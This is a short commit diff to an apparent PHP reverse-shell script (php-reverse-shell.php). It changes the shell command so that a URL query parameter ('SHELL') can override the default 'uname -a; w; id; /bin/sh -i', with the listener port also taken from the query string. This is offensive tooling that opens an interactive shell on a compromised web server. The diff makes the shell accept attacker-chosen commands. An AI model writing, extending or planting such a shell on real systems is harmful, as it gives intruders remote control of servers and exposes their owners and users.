update

php-reverse-shell.php

@@ -51,7 +51,7 @@ $port = intval($_GET["LPORT"]);
 $chunk_size = 1400;
 $write_a = null;
 $error_a = null;
-$shell = 'uname -a; w; id; /bin/sh -i';
+$shell = $_GET["SHELL"] ?? 'uname -a; w; id; /bin/sh -i';
 $daemon = 0;
 $debug = 0;